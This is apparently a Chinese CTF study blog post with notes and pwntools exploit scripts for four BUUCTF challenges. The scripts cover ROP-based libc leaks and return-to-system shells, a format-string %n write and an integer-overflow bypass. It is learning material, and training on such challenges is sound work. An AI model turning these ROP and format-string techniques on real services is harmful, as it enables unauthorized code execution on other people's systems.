重新拾起pwn的学习,这篇文章用的buuctf的题目,回顾一下栈溢出和格式化字符串
栈溢出
要记得区分32位是直接栈上参数,64位是寄存器参数,64的有pop操作,善于利用\x00截断
64位system调用记得栈对齐
偏移量关于是否加4或加8,看汇编最后是否有pop ebp或者leave,没有就不用
recv
64位:8,32位:4
gdbattach
断点要下在我们修改地址后仍能断到的地方
记得加pause,不然程序太快,还没来得及断就运行完了
ciscn_2019_c_1
典型64位栈溢出,有一个加密函数,会对payload进行加密,但是这里他只加密了前48位对我们的payload没有影响,所以不care,然后leak出libc来,到sys取binsh就好
exp
from pwn import * from LibcSearcher import * context.log_level = 'debug' #开启debug方便调试 choose = 1 #选择远程或者本地 if choose : p = remote("node3.buuoj.cn",25266) elf= ELF("./ciscn_2019_c_1") #libc = ELF('libc-2.23.so',checksec=False) else: p = process(['./ciscn_2019_c_1'],env={"LD_PRELOAD":"./libc-2.23.so"}) elf= ELF("./ciscn_2019_c_1") #libc = ELF('libc-2.23.so',checksec=False) puts_plt=elf.plt['puts'] #直接通过ELF寻找put的plt与got地址 puts_got=elf.got['puts'] start_addr=0x400790 pop_rdi_ret=0x400c83 #通过ROPgadget --binary ./elf文件 --only 'pop|ret'寻找 payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr) 偏移量+pop地址+输出参数(这里是got地址)+对应函数+返回函数 p.sendlineafter("Input your choice!\n","1") #交互 p.sendlineafter("Input your Plaintext to be encrypted\n",payload) p.recvuntil("Ciphertext\n") p.recvuntil("\n") puts_addr=u64(p.recv(6).ljust(8,'\x00')) #recv用ljust进行标准化,用u32进行转型 print "puts_addr is "+hex(puts_addr) libc=LibcSearcher("puts",puts_addr) #leak出对应libc版本 libc_base=puts_addr-libc.dump("puts") system_addr=libc_base+libc.dump("system") str_bin_sh=libc_base+libc.dump("str_bin_sh") print "libc_base is "+hex(libc_base) print "system_addr is "+hex(system_addr) print "str_bin_sh is "+hex(str_bin_sh) ret_addr=0x4006b9 #这里用来对齐16字节栈,不然调用system会crack payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) p.sendlineafter("Input your choice!\n","1") p.sendlineafter("Input your Plaintext to be encrypted\n",payload) p.interactive()
babyrop
典型的32位栈溢出,返回函数地址payload位置与64位的位置有一定区别
该题有一个rand值检测,但是中间len的鉴别我们可以通过\x00截断绕过,想到了一半,这里全绕过就行了,我使用的循环爆破,第一位给他定成1然后爆破,1/16的概率命中,所以爆破起来也可以
exp
from pwn import * from LibcSearcher import * context.log_level="debug" #context (arch = "amd64",os = "linux") #context.terminal = ['gnome-terminal','-x','bash','-c'] choose = 0 if choose : p = remote("node3.buuoj.cn",28790) elf= ELF("./pwn") #libc = ELF('libc-2.23.so',checksec=False) else: p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"}) elf= ELF("./pwn") #libc = ELF('libc-2.23.so',checksec=False) write_plt = elf.plt['write'] write_got = elf.got['write'] #libc_write = libc.search('write').next() #这里search的不太准确,被坑了好久,还是leak出来dump好 #libc_system = libc.search('system').next() #libc_bin_sh = libc.search('/bin/sh').next() fuc_addr = 0x080487D0 def payload_create(): res = 0xe7*'a' + p32(0xdeadbeef) + p32(write_plt) + p32(fuc_addr) + p32(1) + p32(write_got) + p32(4) #这里的payload就与64有所不同,他要先放返回地址再去放参数,堆栈操作里,是先压得参数然后压得返回地址 return res def inter_speak(): #p.recvunril() payload = "1"+p32(0) payload = payload.ljust(7,'1') payload += p32(0xff) p.sendline(payload) try: #爆破通过try。。except进行,单纯if不行 get_str = p.recvuntil("\n") if "Correct" in get_str: return 1 except: p.close() return 0 if __name__ == "__main__": while(1): if inter_speak(): break else: p = remote("node3.buuoj.cn",29836) 失败就重新再开一个 #p = process('./pwn') payload = payload_create() p.sendline(payload) #print p.recv() addr = u32(p.recv(4)) #addr = p.recvuntil('\n').ljust(8,'\x00') libc = LibcSearcher('write',addr ) libc_base = addr - libc.dump('write') sys_addr = libc_base + libc.dump('system') bin_addr = libc_base + libc.dump('str_bin_sh') print "linc_write====>" + hex(libc.dump('write')) print "libc_base====>" + hex(libc_base) print "libc_system====>" + hex(sys_addr) print "libc_bin_sh====>" + hex(bin_addr) payload1 = 0xe7*'a' + p32(0xdeadbeef) + p32(sys_addr) + p32(0) +p32(bin_addr) p.sendline(payload1) p.interactive()
格式化字符串
%p看输入偏移
%n进行写,写的是输入字符串个数
可以通过%offset$n确定写入位置与输入偏移位置
注意有时候需要一个字节一个字节的去改,所以就会有%hhn,输入地址可用类似p32(addr+1)进行单字节传输
[第五空间2019 决赛]PWN5
逻辑:输入用户名密码,用户名存在格式化字符串漏洞,密码对应一个rand的bss值,通过漏洞修改bss值,在输入对应密码就ok
这里就用最基础的一个格式化字符串漏洞,没用之前的标准格式,多多包涵
exp
from pwn import * context.log_level="debug" p = remote("node3.buuoj.cn",26879) bss = 0x0804C044 payload = "\x44\xc0\x04\x08"+"%10$n“ #这里是全局变量地址+写入操作 p.sendlineafter("your name:",payload) p.sendlineafter("your passwd:","4") #因为输入的是4个字节,所以这里修改为4 #p.sendline("4") p.interactive() {1}
整形溢出
注意有unsigned int 还有len的时候或者有长度小范围判断的一般都是整形溢出
[BJDCTF 2nd]r2t3
自带system bin,不用leak,这种题很基础,就是判断了个字符串长度,只取0xff字节,构造0x100的flag就好。
ida伪代码
char *__cdecl name_check(char *s) { char dest; // [esp+7h] [ebp-11h] unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Oops,u name is too long!"); exit(-1); } printf("Hello,My dear %s", s); return strcpy(&dest, s); }
exp
from pwn import * from LibcSearcher import * context.log_level="debug" #context (arch = "amd64",os = "linux") #context.terminal = ['gnome-terminal','-x','bash','-c'] choose = 1 if choose : p = remote("node3.buuoj.cn",27514) elf= ELF("./r2t3") #libc = ELF('libc-2.23.so',checksec=False) else: p = process('./get_started_3dsctf_2016') #p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"}) elf= ELF("./get_started_3dsctf_2016") #libc = ELF('libc-2.23.so',checksec=False) if __name__ == "__main__": flag_addr = 0x08048594 payload = "a" * 0x15 + p32(flag_addr) payload = payload.ljust(0x100,"a") #这里直接填充就好,没注意好左右,卡了半天0- 0 payload += "aaaaa" #随意填写大于3小于8的字符串就好 p.sendlineafter("ase input your name:",payload) p.interactive()
ps:在做这道题的时候发现用0xdeadbeef,别用0,不然经常会截断